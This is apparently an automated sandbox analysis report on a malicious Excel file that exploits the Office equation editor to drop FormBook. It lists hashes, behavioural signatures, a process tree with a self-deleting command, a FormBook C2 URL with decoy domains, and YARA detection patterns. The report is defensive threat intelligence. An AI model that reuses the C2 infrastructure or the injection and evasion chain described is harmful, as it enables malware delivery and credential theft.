Edit tour

Windows Analysis Report
RFQ-T56797W_1.xlsx

Overview

General Information

Sample Name:	RFQ-T56797W_1.xlsx
Analysis ID:	1342301
MD5:	138d7d8a55bef05ac6368488b3c9630d
SHA1:	f9e93ed382d3005a7575443369207f2c3339309b
SHA256:	25e7a5ff8ca830bccda9a6617b31fb3992d4f780444cf3adc8cfb8056f26dd58
Tags:	xlsx
Infos:

Detection

FormBook, NSISDropper

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Sigma detected: EQNEDT32.EXE connecting to internet

Yara detected NSISDropper

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Snort IDS alert for network traffic

Found malware configuration

Multi AV Scanner detection for submitted file

Yara detected FormBook

Malicious sample detected (through community Yara rule)

Antivirus / Scanner detection for submitted sample

Sigma detected: File Dropped By EQNEDT32EXE

Multi AV Scanner detection for domain / URL

Maps a DLL or memory area into another process

Shellcode detected

Office equation editor drops PE file

Tries to detect virtualization through RDTSC time measurements

Sample uses process hollowing technique

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Modifies the prolog of user mode functions (user mode inline hooks)

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Queues an APC in another process (thread injection)

Machine Learning detection for dropped file

Modifies the context of a thread in another process (thread injection)

C2 URLs / IPs found in malware configuration

Office equation editor establishes network connection

Found decision node followed by non-executed suspicious APIs

Contains functionality to query locales information (e.g. system language)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

HTTP GET or POST without a user agent

Document misses a certain OLE stream usually present in this Microsoft Office document type

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Potential document exploit detected (unknown TCP traffic)

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Creates a process in suspended mode (likely to inject code)

Contains functionality for read data from the clipboard

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to shutdown / reboot the system

Internet Provider seen in connection with other malware

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Contains functionality to call native functions

Potential document exploit detected (performs DNS queries)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Enables debug privileges

Found inlined nop instructions (likely shell or obfuscated code)

Extensive use of GetProcAddress (often used to hide API calls)

Office Equation Editor has been started

Potential document exploit detected (performs HTTP gets)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 2028 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

EQNEDT32.EXE (PID: 260 cmdline: "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

word.exe (PID: 2204 cmdline: C:\Users\user\AppData\Roaming\word.exe MD5: AFFC03992E31B5D4324B41CBD40D911E)

oktuxvhtsq.exe (PID: 1784 cmdline: "C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" MD5: CF92A3EC74E407574A58BCF121BEC4F1)

oktuxvhtsq.exe (PID: 1516 cmdline: C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe MD5: CF92A3EC74E407574A58BCF121BEC4F1)

explorer.exe (PID: 1244 cmdline: C:\Windows\Explorer.EXE MD5: 38AE1B3C38FAEF56FE4907922F0385BA)

autochk.exe (PID: 2148 cmdline: C:\Windows\SysWOW64\autochk.exe MD5: F88A52EB62019D6A62FDD9E08034DBD8)

chkdsk.exe (PID: 2052 cmdline: C:\Windows\SysWOW64\chkdsk.exe MD5: A01E18A156825557A24A643A2547AA8C)

cmd.exe (PID: 1932 cmdline: /c del "C:\Users\user\AppData\Local\Temp\oktuxvhtsq.exe" MD5: AD7B9C14083B52BC532FBA5948342B98)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/ https://asec.ahnlab.com/en/32149/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Malware Configuration

Threatname: FormBook

{"C2 list": ["www.fakeittilyoumakeitfinance.com/ge06/"], "decoy": ["azaharparis.com", "nationaleventsafety.com", "covesstudy.com", "quinshon4.com", "moderco.net", "trailblazerbaby.com", "time-edu.net", "azeemtourism.com", "anakmedan3.click", "bookinternationaltours.com", "ulksht.top", "newswirex.com", "dingg.net", "waveoflife.pro", "miamirealestatecommercial.com", "rtplive77.xyz", "bowllywood.com", "automation-tools-84162.bond", "booptee.com", "ebx.lat", "gdlongzhong.icu", "seoulbeautytw.com", "bulgarianarchive.com", "pojipoji.com", "mochibees-wylie.com", "ecoboat.world", "eroyfw.top", "centralngs.com", "youtube-manager.site", "eatlust.com", "geutik.cfd", "credit-cards-16215.bond", "lodsoab.com", "jon188.ink", "52iwin.win", "juanmafit.com", "gamemuggaz.com", "oneresi.com", "pj69vip12.cyou", "west-paws.com", "chaineccn.com", "mentiti.com", "modeparisiennefr.com", "skyboxpro.net", "versebuild.xyz", "luxpsy.com", "nivaarnalawgroup.com", "c091627.com", "preppal.shop", "narrativepages.com", "yqsoysy.com", "diverseindiatours.com", "batcavela.com", "ayyp300.top", "daqtpt.cfd", "livers-guardplus.com", "chucobuilt.net", "qianxz109.xyz", "carat-automotive.com", "hndswicco.best", "workwithray.live", "sxchenggu.com", "sanpan010.com", "fufe066.xyz"]}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sheet1.xml	INDICATOR_XML_LegacyDrawing_AutoLoad_Document	detects AutoLoad documents using LegacyDrawing	ditekSHen	0x1bb:$s1: <legacyDrawing r:id=" 0x1e3:$s2: <oleObject progId=" 0x22b:$s3: autoLoad="true"

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000006.00000002.411942593.0000000000260000.00000004.00001000.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.420688853.0000000000430000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.420683321.0000000000400000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
00000007.00000002.420828073.0000000002280000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000A.00000002.849613102.0000000000320000.00000004.00000800.00020000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.411940280.0000000000240000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_NSISDropper	Yara detected NSISDropper	Joe Security
0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000A.00000002.849544062.00000000000C0000.00000040.80000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmp	JoeSecurity_NSISDropper	Yara detected NSISDropper	Joe Security
0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x9908:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x9b72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x156a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x15191:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x157a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x1591f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0xa58a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1440c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xb283:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1b8e7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1c8ea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
0000000A.00000002.849597547.00000000002F0000.00000040.10000000.00040000.00000000.sdmp	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x18809:$sqlite3step: 68 34 1C 7B E1 0x1891c:$sqlite3step: 68 34 1C 7B E1 0x18838:$sqlite3text: 68 38 2A 90 C5 0x1895d:$sqlite3text: 68 38 2A 90 C5 0x1884b:$sqlite3blob: 68 53 D8 7F 8C 0x18973:$sqlite3blob: 68 53 D8 7F 8C
Process Memory Space: oktuxvhtsq.exe PID: 1784	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x59437:$a1: 3C 30 50 4F 53 54 74 09 40
Process Memory Space: oktuxvhtsq.exe PID: 1516	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x36396:$a1: 3C 30 50 4F 53 54 74 09 40 0x5c034:$a1: 3C 30 50 4F 53 54 74 09 40
Process Memory Space: chkdsk.exe PID: 2052	Windows_Trojan_Formbook_1112e116	unknown	unknown	0xa744f:$a1: 3C 30 50 4F 53 54 74 09 40 0xd8241:$a1: 3C 30 50 4F 53 54 74 09 40 0xdd8ee:$a1: 3C 30 50 4F 53 54 74 09 40
Click to see the 35 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.2.oktuxvhtsq.exe.400000.2.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
7.2.oktuxvhtsq.exe.400000.2.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
7.2.oktuxvhtsq.exe.400000.2.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x5451:$a1: 3C 30 50 4F 53 54 74 09 40 0x1bd80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9bbf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x14aa7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
7.2.oktuxvhtsq.exe.400000.2.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aae7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1baea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
7.2.oktuxvhtsq.exe.400000.2.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
6.2.oktuxvhtsq.exe.260000.0.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.oktuxvhtsq.exe.260000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
6.2.oktuxvhtsq.exe.260000.0.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x5451:$a1: 3C 30 50 4F 53 54 74 09 40 0x1bd80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x9bbf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x14aa7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
6.2.oktuxvhtsq.exe.260000.0.unpack	Formbook_1	autogenerated rule brought to you by yara-signator	Felix Bilstein - yara-signator at cocacoding dot com	0x8b08:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x8d72:$sequence_0: 03 C8 0F 31 2B C1 89 45 FC 0x148a5:$sequence_1: 3C 24 0F 84 76 FF FF FF 3C 25 74 94 0x14391:$sequence_2: 3B 4F 14 73 95 85 C9 74 91 0x149a7:$sequence_3: 3C 69 75 44 8B 7D 18 8B 0F 0x14b1f:$sequence_4: 5D C3 8D 50 7C 80 FA 07 0x978a:$sequence_5: 0F BE 5C 0E 01 0F B6 54 0E 02 83 E3 0F C1 EA 06 0x1360c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8 0xa483:$sequence_7: 66 89 0C 02 5B 8B E5 5D 0x1aae7:$sequence_8: 3C 54 74 04 3C 74 75 F4 0x1baea:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE FF FF 6A 00
6.2.oktuxvhtsq.exe.260000.0.unpack	Formbook	detect Formbook in memory	JPCERT/CC Incident Response Group	0x17a09:$sqlite3step: 68 34 1C 7B E1 0x17b1c:$sqlite3step: 68 34 1C 7B E1 0x17a38:$sqlite3text: 68 38 2A 90 C5 0x17b5d:$sqlite3text: 68 38 2A 90 C5 0x17a4b:$sqlite3blob: 68 53 D8 7F 8C 0x17b73:$sqlite3blob: 68 53 D8 7F 8C
6.2.oktuxvhtsq.exe.260000.0.raw.unpack	JoeSecurity_FormBook	Yara detected FormBook	Joe Security
6.2.oktuxvhtsq.exe.260000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
6.2.oktuxvhtsq.exe.260000.0.raw.unpack	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x6251:$a1: 3C 30 50 4F 53 54 74 09 40 0x1cb80:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0xa9bf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01 0x158a7:$a4: 04 83 C4 0C 83 06 07 5B 5F 5E 8B E5 5D C3 8B 17 03 55 0C 6A 01 83
